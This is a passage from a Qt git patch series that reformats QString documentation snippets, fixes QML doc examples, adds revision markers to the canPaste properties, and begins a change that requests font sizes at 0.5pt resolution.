"Decimal 63 is 3f in hexadecimal" @@ -272,16 +272,16 @@ void Widget::argFunction() .arg(12345) .arg(12345, 0, 16); // str == "12345 12,345 3039" -//! [14] + //! [14] } void Widget::chopFunction() { -//! [15] + //! [15] QString str("LOGOUT\r\n"); str.chop(2); // str == "LOGOUT" -//! [15] + //! [15] } void Widget::compareFunction() @@ -293,251 +293,251 @@ void Widget::compareFunction() void Widget::compareSensitiveFunction() { -//! [16] + //! [16] int x = QString::compare("aUtO", "AuTo", Qt::CaseInsensitive); // x == 0 int y = QString::compare("auto", "Car", Qt::CaseSensitive); // y > 0 int z = QString::compare("auto", "Car", Qt::CaseInsensitive); // z < 0 -//! [16] + //! [16] } void Widget::containsFunction() { -//! [17] + //! [17] QString str = "Peter Pan"; str.contains("peter", Qt::CaseInsensitive); // returns true -//! [17] + //! [17] } void Widget::countFunction() { -//! [18] + //! [18] QString str = "banana and panama"; str.count(QRegExp("a[nm]a")); // returns 4 -//! [18] + //! [18] } void Widget::dataFunction() { -//! [19] + //! [19] QString str = "Hello world"; QChar *data = str.data(); while (!data->isNull()) { qDebug() << data->unicode(); ++data; } -//! [19] + //! [19] } void Widget::endsWithFunction() { -//! [20] + //! [20] QString str = "Bananas"; str.endsWith("anas"); // returns true str.endsWith("pple"); // returns false -//! [20] + //! [20] } void Widget::fillFunction() { -//! [21] + //! [21] QString str = "Berlin"; str.fill('z'); // str == "zzzzzz" str.fill('A', 2); // str == "AA" -//! [21] + //! [21] } void Widget::fromRawDataFunction() { -//! [22] - QRegExp pattern; - static const QChar unicode[] = { - 0x005A, 0x007F, 0x00A4, 0x0060, - 0x1009, 0x0020, 0x0020}; - int size = sizeof(unicode) / sizeof(QChar); + //! [22] + QRegExp pattern; + static const QChar unicode[] = { + 0x005A, 0x007F, 0x00A4, 0x0060, + 0x1009, 0x0020, 0x0020}; + int size = sizeof(unicode) / sizeof(QChar); - QString str = QString::fromRawData(unicode, size); - if (str.contains(QRegExp(pattern))) { - // ... -//! [22] //! [23] - } -//! [23] + QString str = QString::fromRawData(unicode, size); + if (str.contains(QRegExp(pattern))) { + // ... + //! [22] //! [23] + } + //! [23] } void Widget::indexOfFunction() { -//! [24] + //! [24] QString x = "sticky question"; QString y = "sti"; x.indexOf(y); // returns 0 x.indexOf(y, 1); // returns 10 x.indexOf(y, 10); // returns 10 x.indexOf(y, 11); // returns -1 -//! [24] + //! [24] } void Widget::firstIndexOfFunction() { -//! [25] + //! [25] QString str = "the minimum"; str.indexOf(QRegExp("m[aeiou]"), 0); // returns 4 -//! [25] + //! [25] } void Widget::insertFunction() { -//! [26] + //! [26] QString str = "Meal"; str.insert(1, QString("ontr")); // str == "Montreal" -//! [26] + //! [26] } void Widget::isEmptyFunction() { -//! [27] + //! [27] QString().isEmpty(); // returns true QString("").isEmpty(); // returns true QString("x").isEmpty(); // returns false QString("abc").isEmpty(); // returns false -//! [27] + //! [27] } void Widget::isNullFunction() { -//! [28] + //! [28] QString().isNull(); // returns true QString("").isNull(); // returns false QString("abc").isNull(); // returns false -//! [28] + //! [28] } void Widget::lastIndexOfFunction() { -//! [29] + //! [29] QString x = "crazy azimuths"; QString y = "az"; x.lastIndexOf(y); // returns 6 x.lastIndexOf(y, 6); // returns 6 x.lastIndexOf(y, 5); // returns 2 x.lastIndexOf(y, 1); // returns -1 -//! [29] + //! [29] -//! [30] + //! [30] QString str = "the minimum"; str.lastIndexOf(QRegExp("m[aeiou]")); // returns 8 -//! [30] + //! [30] } void Widget::leftFunction() { -//! [31] + //! [31] QString x = "Pineapple"; QString y = x.left(4); // y == "Pine" -//! [31] + //! [31] } void Widget::leftJustifiedFunction() { -//! [32] + //! [32] QString s = "apple"; QString t = s.leftJustified(8, '.'); // t == "apple..." -//! [32] + //! [32] -//! [33] + //! [33] QString str = "Pineapple"; str = str.leftJustified(5, '.', true); // str == "Pinea" -//! [33] + //! [33] } void Widget::midFunction() { -//! [34] + //! [34] QString x = "Nine pineapples"; QString y = x.mid(5, 4); // y == "pine" QString z = x.mid(5); // z == "pineapples" -//! [34] + //! [34] } void Widget::numberFunction() { -//! [35] + //! [35] long a = 63; QString s = QString::number(a, 16); // s == "3f" QString t = QString::number(a, 16).toUpper(); // t == "3F" -//! [35] + //! [35] } void Widget::prependFunction() { -//! [36] + //! [36] QString x = "ship"; QString y = "air"; x.prepend(y); // x == "airship" -//! [36] + //! [36] } void Widget::removeFunction() { -//! [37] + //! [37] QString s = "Montreal"; s.remove(1, 4); // s == "Meal" -//! [37] + //! [37] -//! [38] + //! [38] QString t = "Ali Baba"; t.remove(QChar('a'), Qt::CaseInsensitive); // t == "li Bb" -//! [38] + //! [38] -//! [39] + //! [39] QString r = "Telephone"; r.remove(QRegExp("[aeiou].")); // r == "The" -//! [39] + //! [39] } void Widget::replaceFunction() { -//! [40] + //! [40] QString x = "Say yes!"; QString y = "no"; x.replace(4, 3, y); // x == "Say no!" -//! [40] + //! [40] -//! [41] + //! [41] QString str = "colour behaviour flavour neighbour"; str.replace(QString("ou"), QString("o")); // str == "color behavior flavor neighbor" -//! [41] + //! [41] -//! [42] + //! [42] QString s = "Banana"; s.replace(QRegExp("a[mn]"), "ox"); // s == "Boxoxa" -//! [42] + //! [42] -//! [43] + //! [43] QString t = "A bon mot."; t.replace(QRegExp("([^<]*)"), "\\emph{\\1}"); // t == "A \\emph{bon mot}." -//! [43] + //! [43] -//! [86] + //! [86] QString equis = "xxxxxx"; equis.replace("xx", "x"); // equis == "xxx" -//! [86] + //! [86] } void Widget::reserveFunction() { -//! [44] + //! [44] QString result; int maxSize; bool condition; @@ -549,59 +549,59 @@ void Widget::reserveFunction() result.append(nextChar); result.squeeze(); -//! [44] + //! [44] } void Widget::resizeFunction() { -//! [45] + //! [45] QString s = "Hello world"; s.resize(5); // s == "Hello" s.resize(8); // s == "Hello???" (where ? stands for any character) -//! [45] + //! [45] -//! [46] + //! [46] QString t = "Hello"; t += QString(10, 'X'); // t == "HelloXXXXXXXXXX" -//! [46] + //! [46] -//! [47] + //! [47] QString r = "Hello"; r = r.leftJustified(10, ' '); // r == "Hello " -//! [47] + //! [47] } void Widget::rightFunction() { -//! [48] + //! [48] QString x = "Pineapple"; QString y = x.right(5); // y == "apple" -//! [48] + //! [48] } void Widget::rightJustifiedFunction() { -//! [49] + //! [49] QString s = "apple"; QString t = s.rightJustified(8, '.'); // t == "...apple" -//! [49] + //! [49] -//! [50] + //! [50] QString str = "Pineapple"; str = str.rightJustified(5, '.', true); // str == "Pinea" -//! [50] + //! [50] } void Widget::sectionFunction() { -//! [51] //! [52] + //! [51] //! [52] QString str; -//! [51] + //! [51] QString csv = "forename,middlename,surname,phone"; QString path = "/usr/local/bin/myapp"; // First field is empty QString::SectionFlag flag = QString::SectionSkipEmpty; @@ -610,83 +610,83 @@ void Widget::sectionFunction() str = csv.section(',', 2, 2); // str == "surname" str = path.section('/', 3, 4); // str == "bin/myapp" str = path.section('/', 3, 3, flag); // str == "myapp" -//! [52] + //! [52] -//! [53] + //! [53] str = csv.section(',', -3, -2); // str == "middlename,surname" str = path.section('/', -1); // str == "myapp" -//! [53] + //! [53] -//! [54] + //! [54] QString data = "forename**middlename**surname**phone"; str = data.section("**", 2, 2); // str == "surname" str = data.section("**", -3, -2); // str == "middlename**surname" -//! [54] + //! [54] -//! [55] + //! [55] QString line = "forename\tmiddlename surname \t \t phone"; QRegExp sep("\\s+"); str = line.section(sep, 2, 2); // s == "surname" str = line.section(sep, -3, -2); // s == "middlename surname" -//! [55] + //! [55] } void Widget::setNumFunction() { -//! [56] + //! [56] QString str; str.setNum(1234); // str == "1234" -//! [56] + //! [56] } void Widget::simplifiedFunction() { -//! [57] + //! [57] QString str = " lots\t of\nwhitespace\r\n "; str = str.simplified(); // str == "lots of whitespace"; -//! [57] + //! [57] } void Widget::sizeFunction() { -//! [58] + //! [58] QString str = "World"; int n = str.size(); // n == 5 str.data()[0]; // returns 'W' str.data()[4]; // returns 'd' str.data()[5]; // returns '\0' -//! [58] + //! [58] } void Widget::splitFunction() { -//! [59] + //! [59] QString str; QStringList list; str = "Some text\n\twith strange whitespace."; list = str.split(QRegExp("\\s+")); // list: [ "Some", "text", "with", "strange", "whitespace." ] -//! [59] + //! [59] -//! [60] + //! [60] str = "This time, a normal English sentence."; list = str.split(QRegExp("\\W+"), QString::SkipEmptyParts); // list: [ "This", "time", "a", "normal", "English", "sentence" ] -//! [60] + //! [60] -//! [61] + //! [61] str = "Now: this sentence fragment."; list = str.split(QRegExp("\\b")); // list: [ "", "Now", ": ", "this", " ", "sentence", " ", "fragment", "." ] -//! [61] + //! [61] } void Widget::splitCaseSensitiveFunction() { -//! [62] + //! [62] QString str = "a,,b,c"; QStringList list1 = str.split(","); @@ -694,241 +694,241 @@ void Widget::splitCaseSensitiveFunction() QStringList list2 = str.split(",", QString::SkipEmptyParts); // list2: [ "a", "b", "c" ] -//! [62] + //! [62] } void Widget::sprintfFunction() { -//! [63] + //! [63] size_t BufSize; char buf[BufSize]; ::snprintf(buf, BufSize, "%lld", 123456789LL); QString str = QString::fromAscii(buf); -//! [63] + //! [63] -//! [64] + //! [64] QString result; QTextStream(&result) << "pi = " << 3.14; // result == "pi = 3.14" -//! [64] + //! [64] } void Widget::startsWithFunction() { -//! [65] + //! [65] QString str = "Bananas"; str.startsWith("Ban"); // returns true str.startsWith("Car"); // returns false -//! [65] + //! [65] } void Widget::toDoubleFunction() { -//! [66] + //! [66] QString str = "1234.56"; double val = str.toDouble(); // val == 1234.56 -//! [66] + //! [66] -//! [67] + //! [67] bool ok; double d; d = QString( "1234.56e-02" ).toDouble(&ok); // ok == true, d == 12.3456 -//! [67] + //! [67] -//! [68] //! [69] + //! [68] //! [69] QLocale::setDefault(QLocale::C); d = QString( "1234,56" ).toDouble(&ok); // ok == false -//! [68] + //! [68] d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56 -//! [69] //! [70] + //! [69] //! [70] QLocale::setDefault(QLocale::German); d = QString( "1234,56" ).toDouble(&ok); // ok == true, d == 1234.56 d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56 -//! [70] + //! [70] QLocale::setDefault(QLocale::C); d = QString( "1,234,567.89" ).toDouble(&ok); // ok == false } void Widget::toFloatFunction() { -//! [71] + //! [71] QString str1 = "1234.56"; str1.toFloat(); // returns 1234.56 bool ok; QString str2 = "R2D2"; str2.toFloat(&ok); // returns 0.0, sets ok to false -//! [71] + //! [71] } void Widget::toIntFunction() { -//! [72] + //! [72] QString str = "FF"; bool ok; int hex = str.toInt(&ok, 16); // hex == 255, ok == true int dec = str.toInt(&ok, 10); // dec == 0, ok == false -//! [72] + //! [72] } void Widget::toLongFunction() { -//! [73] + //! [73] QString str = "FF"; bool ok; long hex = str.toLong(&ok, 16); // hex == 255, ok == true long dec = str.toLong(&ok, 10); // dec == 0, ok == false -//! [73] + //! [73] } void Widget::toLongLongFunction() { -//! [74] + //! [74] QString str = "FF"; bool ok; qint64 hex = str.toLongLong(&ok, 16); // hex == 255, ok == true qint64 dec = str.toLongLong(&ok, 10); // dec == 0, ok == false -//! [74] + //! [74] } void Widget::toLowerFunction() { -//! [75] + //! [75] QString str = "Qt by NOKIA"; str = str.toLower(); // str == "qt by nokia" -//! [75] + //! [75] } void Widget::toShortFunction() { -//! [76] + //! [76] QString str = "FF"; bool ok; short hex = str.toShort(&ok, 16); // hex == 255, ok == true short dec = str.toShort(&ok, 10); // dec == 0, ok == false -//! [76] + //! [76] } void Widget::toUIntFunction() { -//! [77] + //! [77] QString str = "FF"; bool ok; uint hex = str.toUInt(&ok, 16); // hex == 255, ok == true uint dec = str.toUInt(&ok, 10); // dec == 0, ok == false -//! [77] + //! [77] } void Widget::toULongFunction() { -//! [78] + //! [78] QString str = "FF"; bool ok; ulong hex = str.toULong(&ok, 16); // hex == 255, ok == true ulong dec = str.toULong(&ok, 10); // dec == 0, ok == false -//! [78] + //! [78] } void Widget::toULongLongFunction() { -//! [79] + //! [79] QString str = "FF"; bool ok; quint64 hex = str.toULongLong(&ok, 16); // hex == 255, ok == true quint64 dec = str.toULongLong(&ok, 10); // dec == 0, ok == false -//! [79] + //! [79] } void Widget::toUShortFunction() { -//! [80] + //! [80] QString str = "FF"; bool ok; ushort hex = str.toUShort(&ok, 16); // hex == 255, ok == true ushort dec = str.toUShort(&ok, 10); // dec == 0, ok == false -//! [80] + //! [80] } void Widget::toUpperFunction() { -//! [81] + //! [81] QString str = "TeXt"; str = str.toUpper(); // str == "TEXT" -//! [81] + //! [81] } void Widget::trimmedFunction() { -//! [82] + //! [82] QString str = " lots\t of\nwhitespace\r\n "; str = str.trimmed(); // str == "lots\t of\nwhitespace" -//! [82] + //! [82] } void Widget::truncateFunction() { -//! [83] + //! [83] QString str = "Vladivostok"; str.truncate(4); // str == "Vlad" -//! [83] + //! [83] } void Widget::plusEqualOperator() { -//! [84] + //! [84] QString x = "free"; QString y = "dom"; x += y; // x == "freedom" -//! [84] + //! [84] } void Widget::arrayOperator() { -//! [85] + //! [85] QString str; if (str[0] == QChar('?')) str[0] = QChar('_'); -//! [85] + //! [85] } void Widget::midRefFunction() { -//! [midRef] + //! [midRef] QString x = "Nine pineapples"; QStringRef y = x.midRef(5, 4); // y == "pine" QStringRef z = x.midRef(5); // z == "pineapples" -//! [midRef] + //! [midRef] } void Widget::leftRefFunction() { -//! [leftRef] + //! [leftRef] QString x = "Pineapple"; QStringRef y = x.leftRef(4); // y == "Pine" -//! [leftRef] + //! [leftRef] } void Widget::rightRefFunction() { -//! [rightRef] + //! [rightRef] QString x = "Pineapple"; QStringRef y = x.rightRef(5); // y == "apple" -//! [rightRef] + //! [rightRef] } -- cgit v0.12 From 006929de7f84430278e370eaa468a93fa3a1fb96 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 17 Jan 2011 20:16:50 +0100 Subject: Doc: Fixed invalid/incomplete QML code snippets. --- .../declarative/toys/dynamicscene/dynamicscene.qml | 3 +- .../graphicsitems/qdeclarativeborderimage.cpp | 17 +++++--- .../graphicsitems/qdeclarativepathview.cpp | 2 +- .../graphicsitems/qdeclarativetextedit.cpp | 10 +++-- src/declarative/qml/qdeclarativedom.cpp | 8 ++-- src/declarative/qml/qdeclarativeengine.cpp | 18 +++++++-- src/declarative/qml/qdeclarativeworkerscript.cpp | 7 +--- src/declarative/util/qdeclarativeanimation.cpp | 45 +++++++++------------- src/declarative/util/qdeclarativestate.cpp | 19 +++++---- src/declarative/util/qdeclarativetransition.cpp | 34 ++-------------- src/imports/gestures/qdeclarativegesturearea.cpp | 18 ++++----- 11 files changed, 82 insertions(+), 99 deletions(-) diff --git a/examples/declarative/toys/dynamicscene/dynamicscene.qml b/examples/declarative/toys/dynamicscene/dynamicscene.qml index cfc4b74..a436b41 100644 --- a/examples/declarative/toys/dynamicscene/dynamicscene.qml +++ b/examples/declarative/toys/dynamicscene/dynamicscene.qml @@ -215,9 +215,10 @@ Item { PropertyChanges { target: stars; opacity: 0 } } + //! [top-level transitions] transitions: Transition { PropertyAnimation { duration: 3000 } ColorAnimation { duration: 3000 } } - + //! [top-level transitions] } diff --git a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp index 16fb376..a851864 100644 --- a/src/declarative/graphicsitems/qdeclarativeborderimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeborderimage.cpp @@ -215,11 +215,13 @@ QDeclarativeBorderImage::~QDeclarativeBorderImage() image \c picture.png: \qml - border.left: 10 - border.top: 10 - border.bottom: 10 - border.right: 10 - source: picture.png + BorderImage { + border.left: 10 + border.top: 10 + border.bottom: 10 + border.right: 10 + source: "picture.png" + } \endqml The URL may be absolute, or relative to the URL of the component. @@ -337,7 +339,10 @@ void QDeclarativeBorderImage::load() the bottom of the image: \qml - border.bottom: 10 + BorderImage { + border.bottom: 10 + // ... + } \endqml The border lines can also be specified using a diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp index 64656af..ee73880 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview.cpp +++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp @@ -444,7 +444,7 @@ QDeclarativePathView::~QDeclarativePathView() Component { Rectangle { visible: PathView.onPath - ... + // ... } } \endqml diff --git a/src/declarative/graphicsitems/qdeclarativetextedit.cpp b/src/declarative/graphicsitems/qdeclarativetextedit.cpp index 675f8d9..d326ff7 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit.cpp +++ b/src/declarative/graphicsitems/qdeclarativetextedit.cpp @@ -350,11 +350,13 @@ void QDeclarativeTextEdit::setFont(const QFont &font) The text color. \qml -// green text using hexadecimal notation -TextEdit { color: "#00FF00"; ... } + // green text using hexadecimal notation + TextEdit { color: "#00FF00" } + \endqml -// steelblue text using SVG color name -TextEdit { color: "steelblue"; ... } + \qml + // steelblue text using SVG color name + TextEdit { color: "steelblue" } \endqml */ QColor QDeclarativeTextEdit::color() const diff --git a/src/declarative/qml/qdeclarativedom.cpp b/src/declarative/qml/qdeclarativedom.cpp index 89aa79a..f1296aa 100644 --- a/src/declarative/qml/qdeclarativedom.cpp +++ b/src/declarative/qml/qdeclarativedom.cpp @@ -334,10 +334,10 @@ QList QDeclarativeDomProperty::propertyNameParts() const Return true if this property is used as a default property in the QML document. - \qml + \code hello - \endqml + \endcode The above two examples return the same DOM tree, except that the second has the default property flag set on the text property. Observe that whether @@ -509,10 +509,10 @@ QByteArray QDeclarativeDomDynamicProperty::propertyTypeName() const Return true if this property is used as a default property in the QML document. - \qml + \code hello - \endqml + \endcode The above two examples return the same DOM tree, except that the second has the default property flag set on the text property. Observe that whether diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp index e0c6e1a..e602781 100644 --- a/src/declarative/qml/qdeclarativeengine.cpp +++ b/src/declarative/qml/qdeclarativeengine.cpp @@ -1872,14 +1872,24 @@ QScriptValue QDeclarativeEnginePrivate::quit(QScriptContext * /*ctxt*/, QScriptE } /*! -\qmlmethod color Qt::tint(color baseColor, color tintColor) + \qmlmethod color Qt::tint(color baseColor, color tintColor) This function allows tinting one color with another. - The tint color should usually be mostly transparent, or you will not be able to see the underlying color. The below example provides a slight red tint by having the tint color be pure red which is only 1/16th opaque. + The tint color should usually be mostly transparent, or you will not be + able to see the underlying color. The below example provides a slight red + tint by having the tint color be pure red which is only 1/16th opaque. \qml - Rectangle { x: 0; width: 80; height: 80; color: "lightsteelblue" } - Rectangle { x: 100; width: 80; height: 80; color: Qt.tint("lightsteelblue", "#10FF0000") } + Item { + Rectangle { + x: 0; width: 80; height: 80 + color: "lightsteelblue" + } + Rectangle { + x: 100; width: 80; height: 80 + color: Qt.tint("lightsteelblue", "#10FF0000") + } + } \endqml \image declarative-rect_tint.png diff --git a/src/declarative/qml/qdeclarativeworkerscript.cpp b/src/declarative/qml/qdeclarativeworkerscript.cpp index ac13c68..6283f92 100644 --- a/src/declarative/qml/qdeclarativeworkerscript.cpp +++ b/src/declarative/qml/qdeclarativeworkerscript.cpp @@ -544,12 +544,7 @@ void QDeclarativeWorkerScriptEngine::run() The above worker script specifies a JavaScript file, "script.js", that handles the operations to be performed in the new thread. Here is \c script.js: - \qml - WorkerScript.onMessage = function(message) { - // ... long-running operations and calculations are done here - WorkerScript.sendMessage({ 'reply': 'Mouse is at ' + message.x + ',' + message.y }) - } - \endqml + \quotefile doc/src/snippets/declarative/script.js When the user clicks anywhere within the rectangle, \c sendMessage() is called, triggering the \tt WorkerScript.onMessage() handler in diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index f22b9dd..e5905c4 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -672,7 +672,9 @@ QDeclarativeColorAnimation::~QDeclarativeColorAnimation() \qml Item { - states: [ ... ] + states: [ + // ... + ] transition: Transition { NumberAnimation { from: "#c0c0c0"; duration: 2000 } @@ -725,7 +727,7 @@ void QDeclarativeColorAnimation::setTo(const QColor &t) /*! \qmlclass ScriptAction QDeclarativeScriptAction - \ingroup qml-animation-transition + \ingroup qml-animation-transition \since 4.7 \inherits Animation \brief The ScriptAction element allows scripts to be run during an animation. @@ -734,31 +736,20 @@ void QDeclarativeColorAnimation::setTo(const QColor &t) \qml SequentialAnimation { - NumberAnimation { ... } + NumberAnimation { + // ... + } ScriptAction { script: doSomething(); } - NumberAnimation { ... } + NumberAnimation { + // ... + } } \endqml When used as part of a Transition, you can also target a specific StateChangeScript to run using the \c scriptName property. - \qml - State { - StateChangeScript { - name: "myScript" - script: doStateStuff(); - } - } - ... - Transition { - SequentialAnimation { - NumberAnimation { ... } - ScriptAction { scriptName: "myScript" } - NumberAnimation { ... } - } - } - \endqml + \snippet doc/src/snippets/declarative/states/statechangescript.qml state and transition \sa StateChangeScript */ @@ -870,7 +861,7 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation() /*! \qmlclass PropertyAction QDeclarativePropertyAction - \ingroup qml-animation-transition + \ingroup qml-animation-transition \since 4.7 \inherits Animation \brief The PropertyAction element allows immediate property changes during animation. @@ -896,7 +887,7 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation() However, with this code, the \c transformOrigin is not set until \e after the animation, as a \l State is taken to define the values at the \e end of a transition. The animation would rotate at the default \c transformOrigin, - then jump to \c Item.BottomRight. To fix this, insert a PropertyChanges + then jump to \c Item.BottomRight. To fix this, insert a PropertyAction before the RotationAnimation begins: \qml @@ -910,7 +901,7 @@ QAbstractAnimation *QDeclarativeScriptAction::qtAnimation() This immediately sets the \c transformOrigin property to the value defined in the end state of the \l Transition (i.e. the value defined in the - PropertyChanges object) so that the rotation animation begins with the + PropertyAction object) so that the rotation animation begins with the correct transform origin. \sa {QML Animation}, QtDeclarative @@ -1421,7 +1412,9 @@ QDeclarativeRotationAnimation::~QDeclarativeRotationAnimation() \qml Item { - states: [ ... ] + states: [ + // ... + ] transition: Transition { RotationAnimation { properties: "angle"; from: 100; duration: 2000 } @@ -2253,7 +2246,7 @@ void QDeclarativePropertyAnimation::setProperties(const QString &prop) width: 100; height: 100 color: Qt.rgba(0,0,1) //need to explicitly specify target and property - NumberAnimation { id: theAnim; target: theRect; property: "x" to: 500 } + NumberAnimation { id: theAnim; target: theRect; property: "x"; to: 500 } MouseArea { anchors.fill: parent onClicked: theAnim.start() @@ -2555,7 +2548,7 @@ void QDeclarativeParentAnimation::setNewParent(QDeclarativeItem *newParent) ParentAnimation { target: myItem via: topLevelItem - ... + // ... } \endqml */ diff --git a/src/declarative/util/qdeclarativestate.cpp b/src/declarative/util/qdeclarativestate.cpp index bb1a0b8..c41d39a 100644 --- a/src/declarative/util/qdeclarativestate.cpp +++ b/src/declarative/util/qdeclarativestate.cpp @@ -216,15 +216,18 @@ bool QDeclarativeState::isWhenKnown() const \snippet doc/src/snippets/declarative/state-when.qml 0 - If multiple states in a group have \c when clauses that evaluate to \c true at the same time, - the first matching state will be applied. For example, in the following snippet - \c state1 will always be selected rather than \c state2 when sharedCondition becomes - \c true. + If multiple states in a group have \c when clauses that evaluate to \c true + at the same time, the first matching state will be applied. For example, in + the following snippet \c state1 will always be selected rather than + \c state2 when sharedCondition becomes \c true. \qml - states: [ - State { name: "state1"; when: sharedCondition }, - State { name: "state2"; when: sharedCondition } - ] + Item { + states: [ + State { name: "state1"; when: sharedCondition }, + State { name: "state2"; when: sharedCondition } + ] + // ... + } \endqml */ QDeclarativeBinding *QDeclarativeState::when() const diff --git a/src/declarative/util/qdeclarativetransition.cpp b/src/declarative/util/qdeclarativetransition.cpp index e533a07..063ec3e 100644 --- a/src/declarative/util/qdeclarativetransition.cpp +++ b/src/declarative/util/qdeclarativetransition.cpp @@ -82,15 +82,7 @@ QT_BEGIN_NAMESPACE To define multiple transitions, specify \l Item::transitions as a list: - \qml - Item { - ... - transitions: [ - Transition { to: "state1" ... }, - Transition { ... } - ] - } - \endqml + \snippet doc/src/snippets/declarative/transitions-list.qml list of transitions If multiple Transitions are specified, only a single (best-matching) Transition will be applied for any particular state change. In the example above, when changing to \c state1, the first transition will be used, rather @@ -222,13 +214,7 @@ void QDeclarativeTransition::prepare(QDeclarativeStateOperation::ActionList &act If the transition was changed to this: - \qml - transitions: Transition { - to: "brighter" - ColorAnimation { duration: 1000 } - } - } - \endqml + \snippet doc/src/snippets/declarative/transition-from-to-modified.qml modified transition The animation would only be applied when changing from the default state to the "brighter" state (i.e. when the mouse is pressed, but not on release). @@ -313,24 +299,12 @@ void QDeclarativeTransition::setToState(const QString &t) This property holds a list of the animations to be run for this transition. - \qml - Transition { - PropertyAnimation { ... } - NumberAnimation { ... } - } - \endqml + \snippet examples/declarative/toys/dynamicscene/dynamicscene.qml top-level transitions The top-level animations are run in parallel. To run them sequentially, define them within a SequentialAnimation: - \qml - Transition { - SequentialAnimation { - PropertyAnimation { ... } - NumberAnimation { ... } - } - } - \endqml + \snippet doc/src/snippets/declarative/transition-reversible.qml sequential animations */ QDeclarativeListProperty QDeclarativeTransition::animations() { diff --git a/src/imports/gestures/qdeclarativegesturearea.cpp b/src/imports/gestures/qdeclarativegesturearea.cpp index ba3adc5..1b6e723 100644 --- a/src/imports/gestures/qdeclarativegesturearea.cpp +++ b/src/imports/gestures/qdeclarativegesturearea.cpp @@ -86,22 +86,22 @@ public: A GestureArea is like a MouseArea, but it has signals for gesture events. - \e {Elements in the Qt.labs module are not guaranteed to remain compatible - in future versions.} + \warning Elements in the Qt.labs module are not guaranteed to remain compatible + in future versions. - \e {This element is only functional on devices with touch input.} + \note This element is only functional on devices with touch input. \qml import Qt.labs.gestures 1.0 GestureArea { anchors.fill: parent - onPan: ... gesture.acceleration ... - onPinch: ... gesture.rotationAngle ... - onSwipe: ... - onTapAndHold: ... - onTap: ... - onGesture: ... + // onPan: ... gesture.acceleration ... + // onPinch: ... gesture.rotationAngle ... + // onSwipe: ... + // onTapAndHold: ... + // onTap: ... + // onGesture: ... } \endqml -- cgit v0.12 From 5100cfbd888301d0dd040e8959a56353fa72573a Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Tue, 18 Jan 2011 10:42:22 +1000 Subject: Proper versioning for canPaste --- src/declarative/graphicsitems/qdeclarativetextedit_p.h | 2 +- src/declarative/graphicsitems/qdeclarativetextinput_p.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativetextedit_p.h b/src/declarative/graphicsitems/qdeclarativetextedit_p.h index f28763e..7c6e999 100644 --- a/src/declarative/graphicsitems/qdeclarativetextedit_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextedit_p.h @@ -92,7 +92,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextEdit : public QDeclarativePaintedItem Q_PROPERTY(qreal textMargin READ textMargin WRITE setTextMargin NOTIFY textMarginChanged) Q_PROPERTY(Qt::InputMethodHints inputMethodHints READ inputMethodHints WRITE setInputMethodHints) Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged) - Q_REVISION(1) Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged) + Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged REVISION 1) public: QDeclarativeTextEdit(QDeclarativeItem *parent=0); diff --git a/src/declarative/graphicsitems/qdeclarativetextinput_p.h b/src/declarative/graphicsitems/qdeclarativetextinput_p.h index 582e626..ec260d5 100644 --- a/src/declarative/graphicsitems/qdeclarativetextinput_p.h +++ b/src/declarative/graphicsitems/qdeclarativetextinput_p.h @@ -95,7 +95,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeTextInput : public QDeclarativePaintedItem Q_PROPERTY(QString displayText READ displayText NOTIFY displayTextChanged) Q_PROPERTY(bool autoScroll READ autoScroll WRITE setAutoScroll NOTIFY autoScrollChanged) Q_PROPERTY(bool selectByMouse READ selectByMouse WRITE setSelectByMouse NOTIFY selectByMouseChanged) - Q_REVISION(1) Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged) + Q_PROPERTY(bool canPaste READ canPaste NOTIFY canPasteChanged REVISION 1) public: QDeclarativeTextInput(QDeclarativeItem* parent=0); -- cgit v0.12 From f111e97adf93a933351eb5658b33a5820097757a Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Tue, 18 Jan 2011 10:59:34 +1000 Subject: Request font sizes with only 0.5pt resolution. When animating pointSize avoid generating a huge number of fonts with slightly different point sizes. Task-number: QTBUG-13960 Reviewed-by: Aaron Kennedy --- src/declarative/graphicsitems/qdeclarativetext.cpp | 17 ++++++++++--- .../graphicsitems/qdeclarativetext_p_p.h | 1 + .../graphicsitems/qdeclarativetextedit.cpp | 29 ++++++++++++++++------ .../graphicsitems/qdeclarativetextedit_p_p.h | 1 + .../graphicsitems/qdeclarativetextinput.cpp | 25 +++++++++++++------ .../graphicsitems/qdeclarativetextinput_p_p.h | 1 + 6 files changed, 54 insertions(+), 20 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp index 2f3c8e5..640965c 100644 --- a/src/declarative/graphicsitems/qdeclarativetext.cpp +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp @@ -736,19 +736,28 @@ QDeclarativeText::~QDeclarativeText() QFont QDeclarativeText::font() const { Q_D(const QDeclarativeText); - return d->font; + return d->sourceFont; } void QDeclarativeText::setFont(const QFont &font) { Q_D(QDeclarativeText); - if (d->font == font) + if (d->sourceFont == font) return; + d->sourceFont = font; + QFont oldFont = d->font; 